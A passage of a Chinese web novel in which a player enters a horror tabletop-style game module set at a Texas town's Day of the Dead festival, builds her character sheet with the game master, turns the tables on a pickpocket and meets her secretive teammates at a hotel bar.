姜薇嘴角抽了抽,“你找的居然是那家伙……”
“开盲盒不也挺好的嘛,”祝槐兴致盎然地说,“多刺激。”
姜薇从没有任何一刻像现在这么渴望平静的生活。
两个不定时炸|弹碰在一起的效果就是一加一大于二。
“不过我还有个问题。”
祝槐话锋一转,正色道:“会有那种能让人在短短十秒内昏迷过去的药物吗?”
“无色无味,具体症状是头疼,但是事后没有任何后遗症。”
“你在来找我之前心里就有答案了吧。”姜薇又重新拿出一支烟,“废话,怎么可能有。”
“我想也是。”祝槐耸肩,“那我先走了。哦对,你那套东西用不上了,改天给你送回来。”
“那就不用了,留着吧。”姜薇说,“省得还得退钱给你。”
“……”
所以说重点是后半句吧。
“而且万一哪天你事发被追杀,还是能派上点用场的。”
祝槐:“……”
就是说能不能盼她点好。
“那我不得换个名字身份再换个地方生活?”
她忧伤地说,“得从现在就做好觉悟好好攒钱天天向上才行。”
“行了,别贫了。”姜薇到底没绷住,又停顿两秒,这才道,“这话不适合我说,不过,一切——”
“你的下一句话是小心为上。”
祝槐笑得纯良,“我知道啦。”
姜薇:“?”
真的吗,她不信。
有一说一,她甚至怀疑对方不知道这四个字怎么写。
“下礼拜见,”祝槐煞有介事道,“到时候再来恭贺你的乔迁之喜。”
“再见。”
姜薇按着打火机点了烟,“记得红包。”
祝槐:“……”
不,这财迷根本没救了吧。
回首过去数年,两人交情全靠互相坑害和金钱交易,真真是个虚假透顶。祝槐走出小巷怅然摇头,心思很快就转到到时候准备个什么“惊喜”上去了。
距离下次进入游戏还有三天,她不需要再特意做多少准备工作,干脆就按平时的正常步调来。
她手头最近有点紧,祝槐数了数存款尾数,觉得张明栋和他背后的人这条鱼撞上来得刚刚好。
虽然鱼小了点,但有总比没有强。
指定的那天晚上十一点半,她收拾停当,打着哈欠等时间。
祝槐有那么一秒想过这样是不是显得不太尊重,下一秒又觉得这玩意实在尊重不起来,终于在要放松不放松的纠结里等到了倒计时归零。
没有头疼,没有突如其来的昏迷。
屏幕上只是弹出了一个窗口。
——检测到休息时间结束,是否参与游戏?
和平了不少嘛,祝槐心不在焉地想,如果不是压根没有“否”还更有诚意点。
她没必要去试拒不服从会怎样,干脆利落地点了下面的“是”。
窗口是上换了一行字,底下出现了个读取中的进度条。
——正在分析玩家等级及过往表现,以分配至合适副本,敬请等待。
祝槐好奇地等着它能把自己分到哪去。
读条完毕。
——已匹配到模组,《亡灵舞》。
11. 亡灵舞(一)
祝槐一睁开眼,不是像上次一样和其他玩家共处的包厢,而是一小片奇特的空间。
感觉上更接近于伊莱最后在她面前展现的光景,柔和却找不到源头的光亮,均匀地分布于目光所及之处。
和APP上一样,她那唯一一张用过的卡就悬浮在面前,只是现在后头又多了个空白的虚框。
祝槐看出来了,以后说不定可以在这里选要用哪张角色卡。
除此之外再无他物,连个登入窗口都没有,她试着去点了点原有的那张卡也不见动静,只好先在原地干等着。
【真是抱歉,我在和你的队友协商,所以来晚了——】
那熟悉的声音前半句还是不见半点诚意的愉悦,后半句就一下子惨叫着变了调。
【怎么是你?!】
祝槐这下也来兴致了。
“首先,”她说,“你不能决定自己主持的游戏的参与玩家,甚至说还有上级?”
“第二,像你这样的KP应该不止一位吧。”
游戏是只由同一个KP来担任主持人,还是有个完整的组织,那是有点差别的。
KP的语气有点生硬。
【这不是你该关心的事。】
“哦,”祝槐说,“那就是我说对了。”
KP:“……”
到底是哪个倒霉催的把她给选进来的?!
“开个玩笑。”
祝槐轻飘飘地带过去,笑道:“我现在应该关心什么?”
KP:“………………”
真的假的。
努力忽略掉那股不怎么好的预感,他作起了解说。
【……完善你的人物卡。】
【从此以后,你拥有可以一定程度设定角色卡的自由。不过,这次的形式也不太一样。】
【你们四人都是来到小镇旅游的游客,但每个玩家实际将持有一个决定自己身份的秘密。】
也就是说需要隐藏了。
祝槐挑眉。
这活儿她熟啊。
“骰点结果呢?”她问。
KP似乎找回了心平气和的状态。
【一切都会私下秘密进行。】
一个新窗口在面前徐徐展开,显然,这就是她的秘密。
‘你出生于位于德州的泉城,但全家在多年前死于一桩灭门惨案。
凶手以十分残忍的手法杀害了你的亲生父母和姐姐,只有当时尚且年幼的你逃过一劫。事后你被收养你的养父母带去了外界生活。你在成年后的今天收到了一封来自泉城的神秘信函,上面告知了你身世的真相,并邀请你参加十年一遇的亡灵节。写那封信的人还声称,他有杀死你父母的真凶的线索。
你在向养父母询问身世后得到了他们的肯定,他们同时也转交了你亲生父母的遗物——一条项链。
无论如何,你都决定亲自去那里看看。’
‘要求:必须为学生,年龄21-23岁。
加成:乔装+50,持有项链可以每天回复2点san值。
目的:向凶手复仇。’
祝槐怀疑自己全身插满了Flag,她没有证据。
【玩家可以在秘密的基础上设定姓名等信息,并以不超过一百字的形式完善角色卡背景,另外需要写明角色的性格和随身物品。】
KP警惕地说。
【一切要求符合逻辑,不得超出常理,否则将会被打回。】
祝槐:“?”
至于这么防着她吗!!
“那是当然的,”她笑吟吟道,“您还不知道我嘛?”
KP:“……”
废话啊,就是因为知道好吗!!!
祝槐看看跟着浮现出来的一张近乎空白的角色卡。
“这么说来,属性和技能的数值也是自己决定了?”
【除需要掷骰决定的幸运以外,属性合计500点,可以自行分配,但约定俗成的惯例是都为5的倍数,最低15最高90。技能点数将由你的职业所需要的属性决定。】
祝槐“唔”了声。
反正实际上手就会了。
她抬手去碰了碰,发现上面的栏目真的可以根据自己的想法变化。
不一会儿。
“好了。”她拍拍手。
KP没有出声,祝槐知道对方应该在审视着她的“成果”。
姓名:阿维丝·贝奈特
玩家:祝槐
职业:戏剧专业学生
年龄:21岁
力量:50(好歹是正常人该有的力气)
体质:50(遇到危险勉强苟一下?)
体型:50(各种意义上的不引人注目)
敏捷:65(敢问小学田径比赛第一名就是你吗)
外貌:75(虽然没有沉鱼落雁之貌也算很招人喜欢了)
智力:80(恭喜你,已经可以靠大脑碾压绝大多数人了)
意志:50(一个大写的“危”字正悬在你头顶)
教育:80(再怎么也得是个重点大学或者研究生毕业吧)
祝槐在上一张卡给出的基础上适当平衡了一下数值,她注意到SAN值最开始是默认等同于意志的。
血量与体质和体型挂钩,每个职业能点的技能不同,需要的属性也不同。学生需要的果然是智力和教育,在她填上以后就在另一侧浮现出了可供支配的技能点数。
虽然刚需摆在眼前,体质还好说,盲目点高精神方面的属性就有角色崩坏被惩罚的风险了。尽管祝槐不用担心这个,但她还是想弥补一下自己体力上的短板的。
至于幸运,虽然得靠骰子决定,她倒不是很担心,有自己本身的数值摆在那,总不至于太离——
骰子停了下来。
……25。
KP:“?”
祝槐:“……”
她发誓刚刚绝对听到这家伙“噗”地笑了一声!!
幸运:25(你倒霉到了极点,简直就是霉运连连,建议不出门保平安)
【你还要出门旅游吗?】
KP以一种饱含同情的口吻说。
【小心遇见小偷哦。】
“不劳费心。”说得像这点事难得住她似的,祝槐皮笑肉不笑,“我需要设定另一个名字吗?”
【随你。】
KP圆滑地说。
【你当然可以直接以真名活动,那可是你亲爱的父母留给你的名字。】
祝槐:“那就不必了。”
怕仇家不认得她吗?
阿维丝·贝奈特,灭门时的本名是洛娜·海登,有着及腰的黑色长发和一双蓝眼睛,目前正就读于戏剧学院。
对自己的亲生父母有一定执念,性格上能屈能伸。但是喜欢想一出是一出,热情也因此总保持不了太久,所以仗着养父母的疼爱,从小尝试过各种各样的爱好,比如魔术和射击,再比如说稀奇古怪的恐怖社团并在里面了解到了奇奇怪怪的知识啦——
KP打断了她。
【等一下,你一个学生为什么会有妙手这个技能?】
放眼望去,她的一长串技能数值如下——表演65,乔装70,手|枪60,说服60,拉丁语21,侦查60,聆听80,图书馆使用65,神秘学50,心理学80,妙手60。
“我喜欢魔术,所以我会妙手。”祝槐无辜地反问,“这有什么问题吗?”
她看到旁边的说明了,这个可以用在卡牌之类的魔术上——顾名思义的利用手部灵巧程度来遮藏掩盖嘛。
KP试图在她脸上找到一点点不对劲的端倪。
祝槐耸耸肩,“你总不能剥夺别人一点小小的兴趣爱好吧?”
【……没有。】
KP不情不愿地说。
【你通过了。】
话音落下,刚才还可以点选的表格顿时成为了一张完整的角色卡,闪着光点从下部开始消失了。
也就是一眨眼的功夫,祝槐再抬起手,发现自己的肢体已经有了细微的变化,着装更是如此。
她选的随身物品都以挎包和行李箱的形式自动出现在了身旁,眼前也突然有了一扇门。
她半天没动。
【……你不去见见其他人?】
祝槐装模作样地叹了口气,“我舍不得我亲爱的KP,还想多独处一会儿。”
……用不着!!!
那头彻底沉默下来,见自己成功膈应到对方,祝槐笑了声,拖着行李箱直接推开了门。
一片大亮。
刺目的光线渐渐褪去,她正站在一个小会客室里,房间装潢的风格相当自然惬意,一看就属于某个度假胜地。
可能是因为KP找来的先后顺序,她是到这里来的最后一个。
不一样。
在看清房间里另外三个人的同时,祝槐马上就察觉到了他们与上局队友的不同。
——不管是气场还是什么,完全不一样。
坐在沙发上的金发女性一副贵妇人的派头,正优雅地啜饮着红茶。另一旁的单人沙发上,脸上有道刀疤的中年男人存在感更强。
正靠在窗户边的男生跟她年龄差不多,染了头红毛,虽然有点紧张地攥着行李拉杆,但不至于惊慌失措。
祝槐抬起手,在手机的黑屏上看到了和自己本来的脸截然不同的倒影,其他人应该也是这样吧。
女人放下茶杯,“看来是到齐了。”
祝槐张口:“那个,你们好,我叫——”
刀疤男打断了她的自我介绍,“新人?”
他俨然将她进门来的打量收入眼底。
“……也不完全算?”祝槐不好意思地笑笑,“是第四次。”
这个数字似乎选得不错,在场三人都没有什么特别的反应。
刀疤男:“你之前也都这么自报家门的?”
祝槐:“对、对啊。”
钓鱼成功。
她面上疑虑道:“……这样做是有问题的?”
“是一种约定俗成,一旦涉及这方面就会强制说出真名,还是藏着自己名字的好。”刀疤男眼皮也没抬,“所以一般会用代号,或者干脆就是角色名。”
“原来是这样?”祝槐愣了一下,马上道谢,“谢谢了,是我不懂规矩。”
毕竟在对方的立场上是用不着指出这些的。
不过……
她若有所思地摸了摸后脖颈。
强制说出真名吗。
“没什么。”男人说,“‘刀疤’。”
祝槐意识到这就是他的代号。
“我就不那么复杂了。”
把长发在脑后盘成髻的贵妇人微笑,“就叫卡洛琳吧。”
“啊、哦,”窗边的红毛男生像是才回过神,“我是南风。”
祝槐苦恼了一下。
不要为难她这个取名废啊。
“……嗯,‘冬青’好了。”她沉吟片刻,“这个模组请多指教了。”
KP没有留太多时间给他们互相介绍。
还不等其他人对她的客气作出反应,就响起了几下敲门声。
紧接着,会客厅大门被径直推开——
“对不起!我来晚了!”一团卷毛大呼小叫地探进来,“你们没等太久吧?!”
祝槐在下一秒才看清这玩意是有脖子的——有一头褐色卷毛的男生比她和南风都大不了一两岁,脸颊上满是雀斑,眼镜快滑下鼻梁了,手里还握着个小旗。
“我我我是旅行社安排来的导游!你们可以叫我汤尼,汤尼·佩特!”
雀斑男生急急忙忙地说。
“因为亡灵节的关系,现在已经是旺季了,社里有点人手不足。不过大
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家可以放心,我在实习期的时候评价也不错的!”
“呃……”南风瞟其他人一眼,主动应道,“没关系的。”
“没错。”
卡洛琳笑道:“那现在要做什么?”
“这、这个,我先核对一下名单。”汤尼说,“阿维丝·贝奈特小姐?”
“对,”祝槐回以微笑,“是我。”
前实习导游显然不太适应和同龄异性接触,结结巴巴地别开目光,“卡洛琳·斯图尔特夫人?”
卡洛琳颔首。
“艾伦·阿狄森先生?”
南风举手,“我。”
挨个下来,导游的声音更确信了点,“乔·瓦特先生。”
刀疤没说话,只是点了点头。
但他就算这样气场也够凶恶的了,汤尼干咽了一口,那点微不足道的勇气也跟着咽了下去。
“……如果各位都没有意见,”他小心翼翼地试探着问,“可以先把行李留在这里,待会儿会有人帮忙送到房间。”
“那我们呢?”卡洛琳问。
“亡灵节正式举办是在后天晚上,为期三天。”涉及到打好的腹稿,汤尼说话流利了不少,“不过准备工作已经一切就绪了,我想各位在车上的时候也看到了,所以可以先在周围领略一下节日氛围。”
众人:“……”
不,其实他们什么也没看到。
“我同意。”卡洛琳立刻兴致勃勃地说。
南风附和,“我也是。”
四人达成一致,只是除了祝槐以外的人都不约而同地谢绝了酒店侍者的帮助,自己把行李放进了各自的房间。
祝槐乐得轻松,跟年轻的导游一起坐在大堂等其他人。也就二十来分钟的功夫,她都快把人家家里的门牌号套出来了。
等另外三人出来,看看相谈甚欢的两人,再想想刚才汤尼连半句话都磕绊的样子,不管心里作何感想,面上倒都无异色。
祝槐笑着打了招呼,跟在队伍后头溜溜达达出了酒店。
步行街上人来人往,明显能看出不少都是像他们一样从外地来的游客。到处都挂着小骷髅头和骨头之类的吊饰,离地四五米的高空处串连起五颜六色的纸绳和小彩灯,连行道树和两侧商店标牌也装扮出了相宜的节日氛围。
以汤尼的说法,泉城早年因为矿泉水井而闻名,但当人们的兴趣衰退,亡灵节就在近年来取而代之成为了新兴的招牌。
有是有那么点历史渊源的,据说是仿照了当初建镇时的庆典。上一次也就是第一次举办已经是在十年前了,虽然是大获成功,后来也引来不少噱头。然而不知为何,时隔十年之久才有了这么第二届。
“1881年,J·A·林区在离沃斯堡西边约五十里左右的地方建立了这座城镇。”
那边的汤尼已经介绍起了泉城的历史,这套词显然在他肚子里滚瓜烂熟了,“他挖出了第一口矿泉水井,并声称——哎!”
迎面几个嘻嘻哈哈的半大青少年打闹着跑过来,眼看避都没避。
KP的声音在进入模组后头一回响起来。
【全员幸运检定,请吧。】
满满的看热闹不嫌事大。
祝槐:“……”
嘴上说是全员,这针对和报复还要不要更明显点!
[阿维丝(祝槐)]的幸运检定,26/25,失败。
就差一点,也就差这一点,只有她倒霉催的被其中一个人给重重撞了一下。
旁边南风好心帮忙扶了把,祝槐刚站稳,那伙人就高声谈笑着消失在街拐角。
同样被吓了一跳的汤尼这才回过神,“你们……你们没丢东西吧?!”
南风:“……诶?”
他这话一出也用不着解释什么了——这显然是这里小偷常用的行窃手法,一行人马上翻看起自己的包和口袋来。
卡洛琳皱眉,“你应该早点说。”
“抱歉,抱歉,”汤尼尴尬道,“我以为不会这么快就……”
骰归骰过了,检查一下总是更放心。确认自己的随身物品还好好的,其他人视线不由得都投向唯一一个真被撞到的祝槐。
她眨眨眼,从兜里摸出一个皮夹钱包来。
“应该不是小偷吧,”她露出放下心来的表情,“虽然倒霉了点。”
汤尼也松了口气。
“没丢就好,没丢就好。”
他连声说,看着她开始检查里面的钱和证件,“东西都在吧?”
“都在呢。”祝槐笑眯眯地挨个塞回去,不如说比她想象得还全,“咱们接下来去哪儿?”
*
杰弗里和他的同伙一直到了几百米外才停下来。
他们拐过街角就开始夺命狂奔——当然是为了防止失主追上来。
不过这次得手的只有他,其他人边歇气边大声取笑着彼此,同时不失羡慕地看他拆起自己的战利品来。
他们搭伙行动,成果各算各的,这种情况也不时会有,但这不妨碍杰弗里此刻的得意洋洋。
到手的还是个崭新的女士钱包,款式时兴。然而,真好好拿在手里的那一刻,他才感觉出不妙来。
……怎么比他想的轻啊?
他赶紧翻开夹层,才看到里头——
见鬼。
为什么只有几张零钞啊?!
杰弗里嘴角的笑僵了一下,还不敢让别人瞧出来,免得上一秒的羡慕嫉妒恨在下一秒就成了笑话。
就算这钱包卖出去也挣不了多少,比他自己的钱都少!
他想着,下意识摸了下衣兜。
动作就在这一刻彻底定格,杰弗里宕机几秒,又不信邪地摸遍了兜里的每一个角落。
空的。
再怎么摸也是空的。
杰弗里:“………………”
他钱包呢??????
亡灵舞(二)
【给我一个解释。】
事发突然,KP的追问到现在才跟上来。
祝槐:“一个出门前被养父母千叮咛万嘱咐,最后决定谨慎点,把钱包只用来装装样子的大学生又有什么坏心眼呢?”
KP:“……”
【你说的这个大学生是会反过来顺手牵羊的那种吗?!】
他都破音了。
“这不能怪我。”
祝槐诚恳道。
“我就那么突发奇想一下,就那么轻轻一摸——”
“骰子就过了,他的钱包就到我手里了,”她叹了口气,“我也很绝望呀。”
“有人想用如此俗套如此明显的伎俩偷我东西,”祝槐沉吟,“我又不巧有一点不值一提的长处,以我想一出是一出的人设,发现的时候以牙还牙这很合理吧?”
KP:“………………”
破案了。
最开始同意让她点妙手就是个彻头彻尾的错误!!
偏偏她明面上的理由又说得过去,连驳回都驳回不了,此时此刻只有打落了牙往肚子里咽,活活憋出内伤。
他们俩的对话全程在脑内进行,别说作为NPC的导游了,另外三名玩家也没有察觉出半分异样。
穿过热热闹闹的步行街,汤尼的历史小课堂也大致告一段落。
在挖出第一口井后,据说那井水治好了J·A·林区的风湿,他的太太也说它治好了自己的关节炎。
传闻不胫而走,他们很快又挖了第二口、第三口……直到泉城成为了坐拥上百口矿泉水井、SPA和旅馆的南部最棒的度假圣地。
只是后来人们对温泉和疗养不再那么有兴趣——汤尼在说到这里时含糊其辞地带了过去——泉城的人气也一再下滑。所以,在重新改建了以前的产业后,他们决定以旧有的习俗走出一条新路子。
剩下的就跟他先前告诉她的差不多了,尽管解释不清这么长的时间间隔,第一届的大获成功却是事实,在街道上往来的外地游客们就是最好的佐证。
汤尼同样介绍了一下这几天的流程,他们到的早,前两天都是小打小闹的预热表演。后天晚上会正式举行开幕仪式,到时候有演出庆典啊露天舞会之类的项目。
大后天正常营业,镇上所有的娱乐设施(当然不包括饮食方面)会在大后天的“狂欢日”免费开放一天,然后到了第五天,亡灵节会在这天结束,但当天晚上祭典中的保密项目才是重中之重。
人们总是喜欢神神秘秘的东西,汤尼也一口咬死,不肯提前告诉他们究竟是什么惊喜活动。
“那个……你们怎么看?”
从酒店出来已经是黄昏,到了晚饭时间,他们被汤尼带到了当地特色餐厅。趁着导游走开的一会儿功夫,南风小声问。
祝槐心知队友有没有合作余地可能就看这次谈话了。
“事出反常必有妖。”
答话的是卡洛琳,她姿态优雅地展开餐巾,语气倒是还温和,“我可以信别的,信不了他们大张旗鼓是要做慈善。”
言外之意,亡灵节正是大好的机会,何苦放弃整整一天的收入呢。
虽然一路上看到听到其他游客的兴奋议论和计划,这应该也是招来这么多人的重要原因,但打折都比免费更不可疑点。
“那个保留节目也让人很在意。”祝槐适时地说,“是不是可以从上一届的庆典着手?”
“十年前……”南风满脸苦恼,“说是成功,但参加的人应该也不多,网上可能找不到什么遗迹,只能向本地人打听了吧。”
“图书馆。”意料之中地,卡洛琳说。
“可能会有地方志之类的东西,”她道,“如果有往年的报纸存档就更好了,连当初的报道都找得到。”
是啊。
祝槐默默腹诽。
别说庆典的报道了,一个心血来潮连她家的灭门惨案说不定都能找到。
刀疤没有参与他们三人的讨论,他光是坐在那里的气场就令人退避三舍,这会儿正耷拉着眼睛闭目养神。汤尼很快打完电话回来了,几名玩家也止住讨论,在他的推荐下点了几道据说是本店特选的菜品。
说实话……
味道不能说是和口味相符,只能说是毫不相干。
甜中带咸,咸中有苦,苦中……又透着腥?
祝槐咽下最后一口沾着奇怪酱汁的牛排,看看其他人表情,确信不是自己的味觉出了问题。
他们的反应太明显了。
“几位……”汤尼小心地问,一脸生怕他们回去投诉的表情,“感觉怎么样?”
他目光逡巡一圈,然后迅速锁定了在他眼中最好说话的——
“贝奈特小姐?”他求助似的道。
祝槐:“?”
问她?
“我觉得……”祝槐委婉地说,“很有新意。”
尝试得很好,下次别试了。
只有她和刀疤面前的盘子空了,南风愁眉苦脸地吃了一小半,卡洛琳更是干脆只动了一下刀叉就放下了。
深知这玩意有多难以下咽的祝槐十分理解他们,她也只是单纯不喜欢浪费食物。
——不如说把东西做成这样本来就是种浪费吧!
卡洛琳就很不留情面了。
“我不喜欢太生的肉。”她说。
“啊、啊哈哈哈,还是来点熟食吧。”南风尬笑着打圆场,“有没有什么适合外地人口味的?”
要不是实在食不下咽,谁愿意大老远跑过来吃快餐——一行人相顾无言地垫了点不会出错的汉堡薯条,只觉得这趟旅行已经迎来了个索然无味的开场。
和那些自驾来的游客不一样,他们食宿是由旅行社全包的,汤尼手忙脚乱地打开包,才想起什么地一拍脑袋。
“瞧我这脑子,”他懊恼道,“差点忘了给你们了。”
他从包里翻出东西,一人一朵地递过来。
南风“咦”了声。
祝槐接下的时候也不掩疑惑,小巧的花骨朵似乎是手工做的,背面能看到细密精巧的针脚。
居然是朵白玫瑰。
“这是?”她问。
“信物。”汤尼连忙解释,“狂欢日可以用它来当免费的凭证,当然最重要的是最后那天的祭典,要戴着它才能入场。”
祝槐摆弄了一下自己手里的玫瑰花,看不出什么名堂来。
但要说到戴嘛……
他们仨的目光齐刷刷钉在了刀疤身上。
刀疤:“……”
他一言不发地黑着脸把绢花塞兜里了。
卡洛琳毫不客气地笑出一声:“噗。”
“那、那我就先送各位回去休息,”汤尼赶紧转移话题,“明早九点我会在大厅等大家碰头,然后再一起去参观,可以吗?”
等到四个人都点过头,他才殷切地去结了账。路上这时候已经没什么人了,酒店大堂倒是挤了点才兴冲冲赶来入住的游客。
汤尼确认过他们都拿到房卡就走了,剩下的都是玩家,大家意思意思两句就准备各回各的房间。
如果让祝槐用一句话来形容——酒店条件跟今天的晚饭简直是成反比。
房间宽敞洁净,打扫得井井有条还看着都是九成新。双人床够大也够软,浴缸是按摩式的,从阳台看出去就是远处一望无际的海景。
祝槐拉上窗帘,检查了一遍房间,这才打开了自己被放在墙角的行李箱。
拿出洗漱包和换洗衣物,真正藏在底下的小箱子就露了出来。
可惜以她的学生身份,KP不让她带真家伙,她能带来防身的只有电击器和一把开了刃的匕首,不过生活在一个枪击每一天的国家,该点的技能点点总不亏。
匕首不好随身,被发现了会起疑。祝槐把电击器别在腰上,琢磨着是不是可以趁月黑风高搞点事。
她随手翻了翻摆在床头柜上的酒店手册。
酒店设施还挺全的,只不过温泉和餐厅都是八九点就关闭,酒吧倒一直开到凌晨三点。
祝槐瞄了一眼指着九点半的时钟,觉得下去溜达一圈也不错。
她锁好门,双手插兜地往电梯那儿走。也是赶巧,路上忽然听到对面的门把“咔哒”响了。
正巧探出个脑袋的南风一脸茫然。
“你也准备出去?”祝槐友好地问。
南风:“啊、嗯……”
“我在想要不要去酒吧转转,”他摸摸后脑,“反正闲着也是闲着。”
“那正好了。”祝槐自然而然邀请道,“我也想去那儿,一起吗?”
“好啊。”
南风马上说,又忽然反应过来,磕磕绊绊解释道:“当、当然我不是那个——”
“我懂我懂,”祝槐笑出了声,“就是去转一圈,看看当地的风土人情。”
南风这口气松也不是,不松也不是,卡在嗓子眼里憋红了脸。祝槐倒不在意孤男寡女的微妙距离,带头走进了电梯。
她问:“你也是对亡灵节感兴趣吗?”
南风张了张口。
他意识到,和之前聚餐的时候不一样,她问的不是“他”,而是“艾伦·阿狄森”。
他这下完全肯定对方是经历过秘密团的玩家了。
哪怕对玩家间暗地里约定俗成的规矩很是生疏,却明显清楚这种时候该有的做法。
模组大体上分为两种,一种是不分开行动就默认彼此共享情报甚至骰点信息、大家都是相同阵营的队友的合作团,另一种……玩家各自持有着身份秘密,你永远不知道上一秒还在谈笑风生的队友下一秒会不会捅你一刀。
因为明面上的规则只硬性要求了玩家在NPC面前的角色扮演,并没有规定玩家间的互演,而在合作团里大家独处的时候甚至可以不用太介意自己的人物设定。
初来乍到的新人
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最常见的误区就是还保留着之前的习惯,哪怕心里知道要提防,举手投足也会不自觉地露了馅。
开场前持有的身份、物品乃至情报,每一个字都是最行之有效的筹码。秘密团里,玩家之间可以偶尔放下在NPC跟前端着的架子,但不能放下戒心。
南风是不愿意回忆自己当初那段血泪史了,能有今天全是被一步步坑出来的。
“是啊。”他打着哈哈,“正好在准备一篇这方面的论文,导师也同意我来取取材。”
祝槐笑而不语。
她当然一个字都不信,南风对她肯定也是一样。
但面子功夫还是得做做的。
对比一下这次和上次,最明显的不同就是情报差。她不再有和队友的共通动机,而是基于自己的秘密有着不能暴露的行动理由。
规则有三条,祝槐早就对它们的顺序起了疑心,为什么第一条会是“扮演好你的角色”?
那无疑是因为它是最重要的,而既然不能在NPC面前OOC这件事被单拎出来说,就代表第一条还有另外的含义。
比方说——你所做的选择和行动,都要切合你的人物身份。
玩家可以不在队友面前扮演,但不是完全不用扮演。
玩家都知道其他人来这里的目的肯定没有那么简单,但以角色视角来看,至少目前他们还是“碰巧与自己同一个旅游团”的游客,私底下嘴上聊聊无关紧要的计划无所谓,真能动手或是怎样具体行动都是角色也有了动机以后的事。
要是抢先出手,说不定也会遭到“超游”的惩罚,不然遇到PVP的模组,直接抢在最先把所有人干掉不就稳赢了嘛?
无论游戏的设计者是出于什么目的,她觉得对方应该会保证这方面的公平性。
……话说回来,在玩家身份的基础上,套一个秘密,再套一个为了掩盖这个秘密而假造出来的身份或动机,嗯,和套娃也就有那么个九成九相似吧。
“挺厉害嘛,我可比不上那么正经的理由。”反正都是在试探,祝槐大大方方地信口开河,“我父母希望我在毕业前多出去开阔开阔眼界,所以就订了——咦,这么快?”
就这么两三句话的功夫,电梯已经到了酒吧在的楼层——目的地就在对面。
轻快俏皮的爵士乐从音响里流泻而出,吧台和卡座周围笼罩着淡蓝色灯光,显然走的是神秘色彩的路线。店里还有不少空位,尤其是吧台前就没坐几个人,正在擦拭着玻璃杯的调酒师看到他们走来就露出微笑,将菜单递了过来。
祝槐扫了一眼,看见大多是葡萄酒煮、蜂蜜吐司、煎蛋卷和蔬菜沙拉之类的小吃和餐点,再看看后面架子上排列的那些酒瓶,略一思索,“一杯卡匹洛斯卡。”
“那——”南风愣了一下,“那我就要金汤力吧,麻烦了。”
“好的,”蓄了胡子的中年男性笑笑,“两位稍等。”
祝槐以手托腮看向周围,除他们以外的人们要么是三三两两地聚作堆,要么是一个人坐在柜台边或是桌前独酌,算不上冷清,却也跟热闹搭不上边。形形色色的客人瞧打扮和随身物品,应该都是和他们一样从外地来的住客。
她自认动作已经够隐蔽了,却在划过某处角落时撞上了对方抬头望来的目光。那人身形大半陷在阴影里,只依稀看得出是个男人,略长的柔软金发在脑后扎成了个小马尾,随意地落在肩前。
……她是不是跟金发杠上了。
祝槐无趣地收回视线,正巧赶上调酒师将她点的那杯卡匹洛斯卡推到面前,切成细小碎块的酸橙落在杯底,和着冰块将整杯澄澈的酒液都折射出点晶莹的浅绿色。
她端起来意思意思抿了口,笑道:“来之前我还担心找不到座位,客人一般都是等到再晚点才来吗?”
“不,大家还是喜欢去外面喝酒。”眼下没有别的客人点单,调酒师也乐意跟他们多聊两句,“不过这边生意已经好太多了,之前一个晚上都等不到几个客人。”
南风也插话道:“因为亡灵节?”
“那可不是?”调酒师乐道,“我也待了好几年了,还是头一次看见这么多游客。”
祝槐回忆了下之前在街上见到的那些游客,其实这客流量在正儿八经的旅游城市算不得什么,但对这个小城镇而言是挺多了。
“虽然我也挺好奇的,”她满脸写着担心,“不过这两年去什么地方都是宣传大过实际,希望到时候真的能好玩一点。”
“我可不敢打包票,我没参加过,也不知道人家具体情况。”
调酒师笑呵呵地说:“不过这亡灵节啊,有个别名,本地人以前都管它叫亡灵舞节。”
南风:“……亡灵舞?什么意思?”
“我也是听说的小道消息,据说是……”
调酒师显然很有仪式感,神秘兮兮地看看左右,这才凑过来压低了声音。
他说:“与亡者起舞。”
亡灵舞(三)
——这可不是什么好词。
几乎是在调酒师话音落下的一瞬间,南风的冷汗就下来了,普通游客可能只当这是个噱头,就是冲着那免费的“狂欢日”来的。
但他浸淫在这游戏里的时间也不短了,知道这句话可能真的就是字面意思。
你说和谁跳舞?
他正想追问,就听旁边女生已经震惊地问:“真的假的?!”
“那我哪能知道,不保真啊。”调酒师摆摆手,“哎,又来客人了,二位慢用。”
他说着就走过去询问起了那对刚走进酒吧的男女,又有侍者走过来说了两句什么,酒吧还是有点杂音的,祝槐见不可能听得见那边的声音,干脆专心品她的酒。
南风转过头来就看到她又端起酒杯,“好喝吗?”
“不功不过吧,”祝槐沉吟,看一眼他面前几乎没怎么动的酒杯,“你不喝?”
“我又不喜欢喝酒。”南风完全是皱着脸才勉强喝下去一口,“就知道个这……好怪。”
……幸亏你不是只知道个长岛冰茶。
祝槐无语,“那你还来酒吧?”
“呃……”
南风卡了下壳,“以前家里不让啊,那我一个人出来玩肯定要试试看了。”
“你家管这么严?”祝槐晃了晃杯里的冰块,“不过酒精嘛,确实还是少碰为妙。”
她自己也不喜欢被酒精麻痹大脑的感觉。
他们坐的位置本就是吧台偏中,调酒师给那对情侣游客先上了酒,往回走的时候居然还端了刚调好的第三杯酒过来,在两人惊讶的目光中将它轻轻放在了祝槐面前。
“这是那边那位请您的。”有了刚才聊的那几句,他忍不住好奇地问道,“你们认识?”
祝槐:“……”
南风:“……”
南风:“???”
他茫然地跟着调酒师指的方向望过去,就看到坐在角落的金发青年遥遥冲他们这边举了举杯致意。祝槐当然有印象,刚才“碰巧”对上视线的可不就是这位,这会儿瞧着更分明些。
他的五官精致得有点过分了,哪怕因为光照拢上一层薄薄阴影也掩不去眉眼间温柔的笑意,衣着也整洁考究,完全衬出了长相的每一项优点,只是举手投足带出了点挥之不去的轻佻来。
伸手不打笑脸人。
祝槐回之一笑,转头看也不看地将那杯酒推到了一边。
她还就打了。
“不认识,”她言笑晏晏地回答,“麻烦帮我转告一句,我不喜欢广撒网的。”
她转头问南风:“如果明天有自由时间,一起行动吗?”
南风:“啊?啊、哦哦……”
“当然可以,”他耸耸肩,“反正也不太可能和其他人组队。”
要相处,还是年龄相仿的两人融洽点。
也不知道那两人打算怎么办。
“那就结账吧。”酒吧应该是套不出什么情报了,反正她看他喝不下多少,祝槐自己也不想耽误事,“明天还要早起,该回去休息了。”
南风还有点没回过神,临走前下意识又往角落那边瞥了一眼,侍应生走过去附耳几句,金发青年倒是不恼,看到他们付过账后准备走出酒吧就收回了目光。
“晚安。”祝槐心情还是不错的,“明早见啦。”
两人互道了晚安就各自回了房间,第一天舟车劳顿的,她是真打算就这么休息了,当然睡前也没有忘了检查一下窗户和门锁。
虽然想想在美术馆遇到的那些,真有类似的玩意也防不住。
好歹是让自己安心点,床被枕头确实还不错,祝槐不认床,把电击器和匕首放在趁手的地方,躺下去不多会儿就感觉到眼皮发沉。
